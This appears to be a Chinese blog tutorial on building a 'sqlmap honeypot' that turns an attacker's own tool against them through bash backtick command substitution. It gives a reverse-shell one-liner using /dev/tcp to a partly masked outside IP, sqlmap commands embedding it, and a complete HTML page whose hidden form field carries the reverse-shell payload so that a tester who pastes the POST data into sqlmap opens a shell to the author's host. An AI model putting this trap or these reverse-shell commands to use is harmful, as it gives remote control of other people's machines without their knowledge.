1. bash命令特殊字符

先来说一下bash命令。在bash命令中,一些字符在封闭的双引号中,有特殊的含义。如ping "`ls`",``尖括号中间的字符会执行系统命令。ping "!!",会显示最近的一条历史记录

蜜罐 使用docker技术 蜜罐实现原理_数据

蜜罐 使用docker技术 蜜罐实现原理_数据_02

2. sqlmap命令分析

我们在执行sqlmap检测的时候大多数是这样的:

  • GET型注入:   sqlmap -u http://192.168.10.28/2_Shotting_Range/sql/Less-1/?id=1
  • POST型注入:sqlmap -u --data="key=value"

如此形式的语句执行,实际上都是在shell中,执行bash命令。上面也说了``尖括号中的字符会被当做系统命令来执行,所以我们可以测试如下的语句,在执行sqlmap检测的时候列出了自己当前系统的文件

(1)执行命令

qlmap -u "http://192.168.80.146/2_Shotting_Range/sql/Less-1/?id=`ls`"

蜜罐 使用docker技术 蜜罐实现原理_sqlmap蜜罐_03

(2)反弹shell

linux下反弹shell语句如下:

bash -c 'exec bash -i &>/dev/tcp/ip/端口 <&1'

所以可以运用到sqlmap中

sqlmap -u "http://192.168.80.146/2_Shotting_Range/sql/Less-1/?id=`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`"

接收到了反弹shell

蜜罐 使用docker技术 蜜罐实现原理_sqlmap蜜罐_04

到这里我们应该就有一个大概的思路了。我们可以将这个语句隐藏到表单中,如果渗透测试人员经验不足,直接拿到表单数据就进行post注入的话,就很可能把自己搭进去了。所以接下来我们可以思考这个post数据该如何进行构建

3. POST反弹shell代码构造

由于post数据,可以构造的相对比较复杂,很多时候,渗透人员只是将所有参数一股脑的作为sqlmap的data参数进行测试,所以可以很好的做到将危险参数嵌入到post data数据中,以达到隐藏自身的目的。

接下来,要做的就是如果渗透人员在通过利用例如Burp Suite等工具获取sqlmap注入使用的参数时,获取到的字符为未编码的可见字符。

在用form进行提交数据时,如果添加enctype=”text/plain”属性,那么,就可以做到可见即可得。

index.html页面如下。我还可以将其中的POST数据构造的更加复杂

<html>
<head>
    <meta charset="utf-8">  
    <title> A sqlmap honeypot demo</title>
</head>
<body>
	<input>search the user</input>   <!--创建一个空白表单-->

	<form action="username.html" method="post" enctype="text/plain">
		
		<!--创建一个隐藏的表单-->
		<input type='hidden' name='name' value="Lucy&id=45273434&query=shell`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`&port=6379"/>	
		<!--创建一个按钮,提交表单内容-->
		<input type="submit" value='提交'>

	</form>

</body>
</html>

页面与数据如下

蜜罐 使用docker技术 蜜罐实现原理_蜜罐 使用docker技术_05

sqlmap进行post注入

sqlmap -u http://192.168.80.152/sqlmap_honey/ --data="
name=Lucy&id=45273434&query=shell`bash -c 'exec bash -i &>/dev/tcp/39.xx.xx.162/6666 <&1'`&port=63794"

当经验不足的渗透测试人员直接将post数据复制下来,且以--data的方式进行注入时,则直接能进行反弹shell。

蜜罐 使用docker技术 蜜罐实现原理_sql_06

那假如以sqlmap -r这种方式进行post注入会成功吗?

如下这种方式并不行,上面说了当sqlmap -u xxx以这种方式进行测试的时候实际上是在shell中执行bash命令。所以其他方式都不能够进行反制。

蜜罐 使用docker技术 蜜罐实现原理_蜜罐 使用docker技术_07

原理就是以上,只要理解了攻击手段,相信很多人都会构造出更完美的攻击数据,这里就不再献丑了,也许将来还继续更新。

当然,这种利用bash特性的攻击方式,并不仅仅作用于sqlmap,也可能用于其它依赖于Linux命令行执行的程序。Sqlmap只不过是这种特性的一个很好的利用场景。